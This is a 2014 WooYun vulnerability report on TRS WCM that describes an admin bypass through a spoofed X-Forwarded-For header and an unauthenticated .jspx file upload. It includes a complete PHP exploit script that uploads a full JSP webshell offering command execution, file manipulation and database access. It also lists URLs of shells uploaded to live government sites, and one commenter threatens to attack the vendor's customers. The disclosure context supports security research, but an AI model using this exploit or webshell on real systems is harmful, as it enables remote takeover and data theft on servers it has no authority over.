当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-063742

漏洞标题:TRSWCM 后台权限绕过以及GETSHELL漏洞

相关厂商:北京拓尔思信息技术股份有限公司

漏洞作者: applychen

提交时间:2014-06-06 11:09

修复时间:2014-09-04 11:10

公开时间:2014-09-04 11:10

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-06: 细节已通知厂商并且等待厂商处理中
2014-06-06: 厂商已经确认,细节仅向厂商公开
2014-06-09: 细节向第三方安全合作伙伴开放
2014-07-31: 细节向核心白帽子及相关领域专家公开
2014-08-10: 细节向普通白帽子公开
2014-08-20: 细节向实习白帽子公开
2014-09-04: 细节向公众公开

简要描述:

TRS WCM大于v6版本中存在此漏洞,v5.X版本不存在。无需登录。

详细说明:

注:该漏洞目前影响大量站点,担心厂商忽略导致漏洞细节提前曝光,请管理员同学转至cncert国家互联网应急中心进行处理,多谢。
在/WEB-INF/web.xml中代码如下:

<servlet>
<servlet-name>govcontroller</servlet-name>
<servlet-class>com.trs.webframework.controler.servlet.NoLoginServiceControler</servlet-class>
<init-param>
<param-name>AllowIP</param-name>
<param-value>127.0.0.1</param-value>
</init-param>
<init-param>
<param-name>CurrUser</param-name>
<param-value>admin</param-value>
</init-param>
<init-param>
<param-name>RedirectURI</param-name>
<param-value>/center.do</param-value>
</init-param>
</servlet>
<servlet-mapping>
<servlet-name>govcontroller</servlet-name>
<url-pattern>/govcenter.do</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>govfileuploader</servlet-name>
<servlet-class>com.trs.webframework.controler.servlet.NoLoginServiceControler</servlet-class>
<init-param>
<param-name>AllowIP</param-name>
<param-value>127.0.0.1</param-value>
</init-param>
<init-param>
<param-name>CurrUser</param-name>
<param-value>admin</param-value>
</init-param>
<init-param>
<param-name>RedirectURI</param-name>
<param-value>/fileuploader.do</param-value>
</init-param>
</servlet>
<servlet-mapping>
<servlet-name>govfileuploader</servlet-name>
<url-pattern>/govfileuploader.do</url-pattern>
</servlet-mapping>


程序配置了两个Servlet一个是govcontroller一个是govfileuploader,打开它们对应的class文件:

/WEB-INF/lib/trswcmv6/com/trs/webframework/controler/servlet/NoLoginServiceControler.class


反编译之后的核心JAVA代码如下:

protected void service(HttpServletRequest httpservletrequest, HttpServletResponse httpservletresponse)
throws ServletException, IOException
{
String s = httpservletrequest.getHeader("X-Forwarded-For");
if (CMyString.isEmpty(s))
s = httpservletrequest.getRemoteAddr();
boolean flag = isAllowIP(s);
if (!flag)
{
…………//IP不匹配则出错处理,省略代码。
}
…………//IP匹配正确则登录成功,省略代码
catch (ServletException servletexception)
{
throw servletexception;
}
finally
{
ContextHelper.clear();
httpservletrequest.getSession().removeAttribute("WCM52.loginUser");
}
}
private boolean isAllowIP(String s)
{
if (m_pIPs == null)
return false;
String as[] = s.split("\\.");
for (int i = 0; i < m_pIPs.length; i++)
{
String as1[] = m_pIPs[i].split("\\.");
if (as1.length != as.length)
continue;
boolean flag = false;
int j = 0;
do
{
if (j >= as.length)
break;
if (!as1[j].equals("*") && !as[j].equals(as1[j]))
{
flag = true;
break;
}
j++;
} while (true);
if (!flag)
return true;
}
return false;
}
public void init()
throws ServletException
{
String s = getInitParameter("AllowIP");
if (s != null)
m_pIPs = s.split(",");
s = getInitParameter("CurrUser");
if (s != null && (s = s.trim()).length() > 0)
m_sUserName = s;
m_sRedirectURI = CMyString.showNull(getInitParameter("RedirectURI"), "/center.do");
if (!m_sRedirectURI.startsWith("/"))
m_sRedirectURI = "/" + m_sRedirectURI;
super.init();
}


从上面的代码不难看出,程序先是使用httpservletrequest.getHeader()获取HTTP请求头中X-Forwarded-For头的数值,然后再调用isAllowIP(),比对init()方法从web.xml中获取到的AllowIP(这里是127.0.0.1)与X-Forwarded-For的值是否相同,如果不同则程序出错退出,如果相同则创建Session登录成功。
一句话总结就是如果HTTP请求头中X-Forwarded-For的值为127.0.0.1则程序认为当前是以admin身份登录的能够调用center.do与fileuploader.do。
下面使用govcenter.do修改登录用户的密码等信息,首先查询用户的userid:

1.png


从图中可以看到test1用户对应的userid为2密码为621EE7AEAFA2281
下面将userid为2的用户名密码等信息都修改掉,如下图:

2.png


再次查询hitest用户的信息可以看到userid仍然为2,但是账户与密码都被更新了,如下图:

3.png


第二处漏洞是govfileuploader.do的上传漏洞,其对应的class文件为:

/WEB-INF/lib/trswcmv6/com/trs/webframework/controler/servlet/FileUploader.class


经过反编译之后其核心JAVA代码为:

protected void service(HttpServletRequest httpservletrequest, HttpServletResponse httpservletresponse)
{
byte abyte0[];
…………
abyte0 = StreamBuddy.readFromInputStream(httpservletrequest.getInputStream());
……
try
{
String s = null;
String s1 = httpservletrequest.getHeader("FileExt");
String s2 = httpservletrequest.getHeader("FileFlag");
if (CMyString.isEmpty(s2))
s2 = "U0";
FilesMan filesman = FilesMan.getFilesMan();
String s3 = null;
String s4 = null;
s3 = filesman.getNextFilePathName(s2, s1);
CMyFileX.writeFile(s3, abyte0);
s4 = CMyFile.extractFileName(s3, "/");
s4 = CMyFile.extractFileName(s4, "\\");
java.io.PrintWriter printwriter1 = httpservletresponse.getWriter();
s = s4;
if (s == null)
printwriter1.write("");
else
if (s instanceof String)
printwriter1.write("<result><ShowName><![CDATA[" + CMyString.encodeForCDATA((String)s) + "]]></ShowName></result>");
else
printwriter1.write(I18NMessage.get(com.trs.webframework.controler.servlet.FileUploader.class, "FileUploader.label1", "<result>不支持处理的类型[") + s.getClass() + "]!</result>");


程序使用httpservletrequest.getHeader()方法获取FileExt以及FileFlag的值,然后调用filesman.getNextFilePathName(s2, s1)生成文件名,这里需要注意的是s2即FileFlag的值为U0、P0、W0、TM、LP、SF。它们分别对应服务器上保存文件的目录,其中TM、LP、W0、LV对应的路径在TRS Tomcat默认配置中恰好是四个虚拟目录。
其对应的关系如下:

标识	路径
TM $TRSHOME$\TRSWCMV65\WCMData\template\
LP $TRSHOME$\TRSWCMV65\WCMData\pub\
W0 $TRSHOME$\TRSWCMV65\WCMData\webpic\
LV $TRSHOME$\TRSWCMV65\WCMData\preview\


tomcat配置如下:

4.jpg


打开其中的E:\TRS1\TRSWCMV65\WCMData\webpic\WEB-INF\web.xml内容如下:

8.png


程序设置的拒绝访问的filter只针对jsp后缀,而jspx后缀未进行限定,因此在上传是将控制保存文件后缀的FileExt设置为.jspx即可,完整上传包如下:

5.png


7.png


列几个受影响的站点:
http://wcm.ccgp.gov.cn/webpic/W0201406/W020140606/W020140606076282027606.jspx
http://220.191.232.71/webpic/W0201406/W020140606/W020140606373583125176.jspx
http://wcm.ln.gov.cn/webpic/W0201406/W020140606/W020140606365626982530.jspx

漏洞证明:

同上
附一个GETSHELL EXP,仅供测试:

<?php
$host=@$argv[1];
$port=@$argv[2];
$wcmpath=@$argv[3];
if(eregi("https://",$host))
{
$host=explode("https://",$host);
$host=$host[1];
$pre="https://";
$host=str_replace("/","",$host);
//echo $host."\r\n";
}
if(eregi("http://",$host))
{
$host=explode("http://",$host);
$host=$host[1];
$pre="http://";
$host=str_replace("/","",$host);
//echo $host."\r\n";
}
if(!$host or !$port or !$wcmpath or !@$pre or !is_numeric($port))
exit("
=================================================
TRS WCM>=6 GETSHELL
=================================================
Usage: php wcm.php host port wcmpath
Example: php wcm.php http://www.qq.com 80 wcm
Example: php wcm.php https://www.qq.com 8000 wcm
=================================================
");
//preg_match();
function http_send($host, $port, $packet)
{
$sock = fsockopen($host, $port);
while (!$sock)
{

$sock = fsockopen($host, $port);
}
fputs($sock, $packet);
while (!feof($sock)) @$resp .= fread($sock, 1024);
fclose($sock);
//print $resp;
return $resp;
}
$data='<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" xmlns="http://www.w3.org/1999/xhtml" xmlns:c="http://java.sun.com/jsp/jstl/core" version="1.2"><jsp:directive.page contentType="text/html" pageEncoding="UTF-8" /><jsp:directive.page import="java.io.*"/><jsp:directive.page import="java.util.*"/><jsp:directive.page import="java.net.*"/><jsp:directive.page import="java.sql.*"/><jsp:directive.page import="java.text.*"/><jsp:declaration>String Pwd="023320a1232222a";String cs="UTF-8";String EC(String s)throws Exception{return new String(s.getBytes("ISO-8859-1"),cs);}Connection GC(String s)throws Exception{String[] x=s.trim().split("\r\n");Class.forName(x[0].trim());if(x[1].indexOf("jdbc:oracle")!=-1){return DriverManager.getConnection(x[1].trim()+":"+x[4],x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);}else{Connection c=DriverManager.getConnection(x[1].trim(),x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);if(x.length>4){c.setCatalog(x[4]);}return c;}}void AA(StringBuffer sb)throws Exception{File r[]=File.listRoots();for(int i=0;i&lt;r.length;i++){sb.append(r[i].toString().substring(0,2));}}void BB(String s,StringBuffer sb)throws Exception{File oF=new File(s),l[]=oF.listFiles();String sT,sQ,sF="";java.util.Date dt;SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");for(int i=0; i&lt;l.length; i++){dt=new java.util.Date(l[i].lastModified());sT=fm.format(dt);sQ=l[i].canRead()?"R":"";sQ +=l[i].canWrite()?" W":"";if(l[i].isDirectory()){sb.append(l[i].getName()+"/\t"+sT+"\t"+l[i].length()+"\t"+sQ+"\n");}else{sF+=l[i].getName()+"\t"+sT+"\t"+l[i].length()+"\t"+sQ+"\n";}}sb.append(sF);}void EE(String s)throws Exception{File f=new File(s);if(f.isDirectory()){File x[]=f.listFiles();for(int k=0; k &lt; x.length; k++){if(!x[k].delete()){EE(x[k].getPath());}}}f.delete();}void FF(String s,HttpServletResponse r)throws Exception{int n;byte[] b=new byte[512];r.reset();ServletOutputStream os=r.getOutputStream();BufferedInputStream is=new BufferedInputStream(new FileInputStream(s));os.write(("->"+"|").getBytes(),0,3);while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.write(("|"+"&lt;-").getBytes(),0,3);os.close();is.close();}void GG(String s,String d)throws Exception{String h="0123456789ABCDEF";File f=new File(s);f.createNewFile();FileOutputStream os=new FileOutputStream(f);for(int i=0; i&lt;d.length();i+=2){os.write((h.indexOf(d.charAt(i)) &lt;&lt; 4 | h.indexOf(d.charAt(i+1))));}os.close();}void HH(String s,String d)throws Exception{File sf=new File(s),df=new File(d);if(sf.isDirectory()){if(!df.exists()){df.mkdir();}File z[]=sf.listFiles();for(int j=0; j&lt;z.length; j++){HH(s+"/"+z[j].getName(),d+"/"+z[j].getName());}}else{FileInputStream is=new FileInputStream(sf);FileOutputStream os=new FileOutputStream(df);int n;byte[] b=new byte[512];while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}is.close();os.close();}}void II(String s,String d)throws Exception{File sf=new File(s),df=new File(d);sf.renameTo(df);}void JJ(String s)throws Exception{File f=new File(s);f.mkdir();}void KK(String s,String t)throws Exception{File f=new File(s);SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");java.util.Date dt=fm.parse(t);f.setLastModified(dt.getTime());}void LL(String s,String d)throws Exception{URL u=new URL(s);int n=0;FileOutputStream os=new FileOutputStream(d);HttpURLConnection h=(HttpURLConnection) u.openConnection();InputStream is=h.getInputStream();byte[] b=new byte[512];while((n=is.read(b))!=-1){os.write(b,0,n);}os.close();is.close();h.disconnect();}void MM(InputStream is,StringBuffer sb)throws Exception{String l;BufferedReader br=new BufferedReader(new InputStreamReader(is));while((l=br.readLine())!=null){sb.append(l+"\r\n");}}void NN(String s,StringBuffer sb)throws Exception{Connection c=GC(s);ResultSet r=s.indexOf("jdbc:oracle")!=-1?c.getMetaData().getSchemas():c.getMetaData().getCatalogs();while(r.next()){sb.append(r.getString(1)+"\t");}r.close();c.close();}void OO(String s,StringBuffer sb)throws Exception{Connection c=GC(s);String[] x=s.trim().split("\r\n");ResultSet r=c.getMetaData().getTables(null,s.indexOf("jdbc:oracle")!=-1?x.length>5?x[5]:x[4]:null,"%",new String[]{"TABLE"});while(r.next()){sb.append(r.getString("TABLE_NAME")+"\t");}r.close();c.close();}void PP(String s,StringBuffer sb)throws Exception{String[] x=s.trim().split("\r\n");Connection c=GC(s);Statement m=c.createStatement(1005,1007);ResultSet r=m.executeQuery("select * from "+x[x.length-1]);ResultSetMetaData d=r.getMetaData();for(int i=1;i&lt;=d.getColumnCount();i++){sb.append(d.getColumnName(i)+" ("+d.getColumnTypeName(i)+")\t");}r.close();m.close();c.close();}void QQ(String cs,String s,String q,StringBuffer sb,String p)throws Exception{Connection c=GC(s);Statement m=c.createStatement(1005,1008);BufferedWriter bw=null;try{ResultSet r=m.executeQuery(q.indexOf("--f:")!=-1?q.substring(0,q.indexOf("--f:")):q);ResultSetMetaData d=r.getMetaData();int n=d.getColumnCount();for(int i=1; i &lt;=n; i++){sb.append(d.getColumnName(i)+"\t|\t");}sb.append("\r\n");if(q.indexOf("--f:")!=-1){File file=new File(p);if(q.indexOf("-to:")==-1){file.mkdir();}bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(q.indexOf("-to:")!=-1?p.trim():p+q.substring(q.indexOf("--f:")+4,q.length()).trim()),true),cs));}while(r.next()){for(int i=1; i&lt;=n;i++){if(q.indexOf("--f:")!=-1){bw.write(r.getObject(i)+""+"\t");bw.flush();}else{sb.append(r.getObject(i)+""+"\t|\t");}}if(bw!=null){bw.newLine();}sb.append("\r\n");}r.close();if(bw!=null){bw.close();}}catch(Exception e){sb.append("Result\t|\t\r\n");try{m.executeUpdate(q);sb.append("Execute Successfully!\t|\t\r\n");}catch(Exception ee){sb.append(ee.toString()+"\t|\t\r\n");}}m.close();c.close();}</jsp:declaration><jsp:scriptlet>cs=request.getParameter("z0")!=null?request.getParameter("z0")+"":cs;response.setContentType("text/html");response.setCharacterEncoding(cs);StringBuffer sb=new StringBuffer("");try{String Z=EC(request.getParameter(Pwd)+"");String z1=EC(request.getParameter("z1")+"");String z2=EC(request.getParameter("z2")+"");sb.append("->"+"|");String s=request.getSession().getServletContext().getRealPath("/");if(Z.equals("A")){sb.append(s+"\t");if(!s.substring(0,1).equals("/")){AA(sb);}}else if(Z.equals("B")){BB(z1,sb);}else if(Z.equals("C")){String l="";BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));while((l=br.readLine())!=null){sb.append(l+"\r\n");}br.close();}else if(Z.equals("D")){BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));bw.write(z2);bw.close();sb.append("1");}else if(Z.equals("E")){EE(z1);sb.append("1");}else if(Z.equals("F")){FF(z1,response);}else if(Z.equals("G")){GG(z1,z2);sb.append("1");}else if(Z.equals("H")){HH(z1,z2);sb.append("1");}else if(Z.equals("I")){II(z1,z2);sb.append("1");}else if(Z.equals("J")){JJ(z1);sb.append("1");}else if(Z.equals("K")){KK(z1,z2);sb.append("1");}else if(Z.equals("L")){LL(z1,z2);sb.append("1");}else if(Z.equals("M")){String[] c={z1.substring(2),z1.substring(0,2),z2};Process p=Runtime.getRuntime().exec(c);MM(p.getInputStream(),sb);MM(p.getErrorStream(),sb);}else if(Z.equals("N")){NN(z1,sb);}else if(Z.equals("O")){OO(z1,sb);}else if(Z.equals("P")){PP(z1,sb);}else if(Z.equals("Q")){QQ(cs,z1,z2,sb,z2.indexOf("-to:")!=-1?z2.substring(z2.indexOf("-to:")+4,z2.length()):s.replaceAll("\\\\","/")+"images/");}}catch(Exception e){sb.append("ERROR"+":// "+e.toString());}sb.append("|"+"&lt;-");out.print(sb.toString());</jsp:scriptlet></jsp:root>';
function postdata($host,$port,$wcmpath,$data)
{
$packet = "POST /{$wcmpath}/govfileuploader.do HTTP/1.0\r\n";
$packet .= "Host: {$host}:{$port}\r\n";
$packet .= "FileExt: jspx\r\n";
$packet .= "FileFlag: W0\r\n";
$packet .= "X-Forwarded-For: 127.0.0.1\r\n";
$packet .= "Content-Length: ".strlen($data)."\r\n\r\n";
$packet .= $data." ";
return $packet;
}
$packet=postdata($host,$port,$wcmpath,$data);
//echo $packet."\r\n";
$html=http_send($host,$port,$packet);
//echo $html."\r\n";
if(!eregi("HTTP/1.1 404 Not Found",$html))
{
if(strpos($html,"jspx"))
{
$patten="/A\[(.*?)\]\]/i";
preg_match($patten,$html,$url);
if(strpos($url[1],".jspx"))
{
$shell=$pre.$host.":{$port}/webpic/".substr($url[1],0,8)."/".substr($url[1],0,10)."/".$url[1];
echo "Getshell Successed!\r\n";
echo $shell."\r\n";
}
else
echo "Failed!";
}
else
exit("Failed!");
}
?>

修复方案:

在NoLoginServiceControler.java中删除以下的代码:
String s = httpservletrequest.getHeader("X-Forwarded-For");
if (CMyString.isEmpty(s))

版权声明:转载请注明来源 applychen@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-06-06 16:04

厂商回复:

感谢您的反馈,问题已跟进处理。
*** 安全无止境,我们一直在努力!***

最新状态:

暂无


漏洞评价:

评论

  1. 2014-06-06 12:30 | applychen ( 普通白帽子 | Rank:163 漏洞数:16 | 白发现首)

    厂商同学,千万不要忽略啊。

  2. 2014-06-06 14:22 | I am XiaoM ( 路人 | Rank:3 漏洞数:4 | 看着大家的Rank我深深被伤了...)

    好多大公司在用,这个要关注

  3. 2014-06-06 14:31 | f4ckbaidu ( 普通白帽子 | Rank:182 漏洞数:23 | 开发真是日了狗了)

    mark

  4. 2014-06-27 08:57 | 刺刺 ( 普通白帽子 | Rank:603 漏洞数:52 | 真正的安全并不是技术,而是人类善良的心灵...)

    分析丝丝入扣,有图有工具,真是高潮一波接着一波,感谢分享!PS:你妹的厂商,给40rank,会掉肉么!

  5. 2014-07-01 16:06 | aphack ( 路人 | Rank:22 漏洞数:3 | 话说当年计算机,谈论未来机器人~!)

    免登录通用型。厂商别缺心眼咯!(15rank)O_O ···

  6. 2014-07-01 17:40 | 小明是黑阔 ( 实习白帽子 | Rank:34 漏洞数:2 | 当万能的小明成为黑阔天朝将会变成怎样?)

    缺心眼子@北京拓尔思信息技术股份有限公司才15rank。。。不够费神的呢。。。今晚搞你们客户去。。。。

  7. 2014-09-04 15:15 | Coody 认证白帽子 ( 核心白帽子 | Rank:1565 漏洞数:189 | 不接单、不黑产;如遇接单收徒、绝非本人所...)

    这个分析很牛X

  8. 2015-08-11 11:15 | BeenQuiver ( 普通白帽子 | Rank:101 漏洞数:26 | 专注而高效,坚持好的习惯千万不要放弃)

    分析很精彩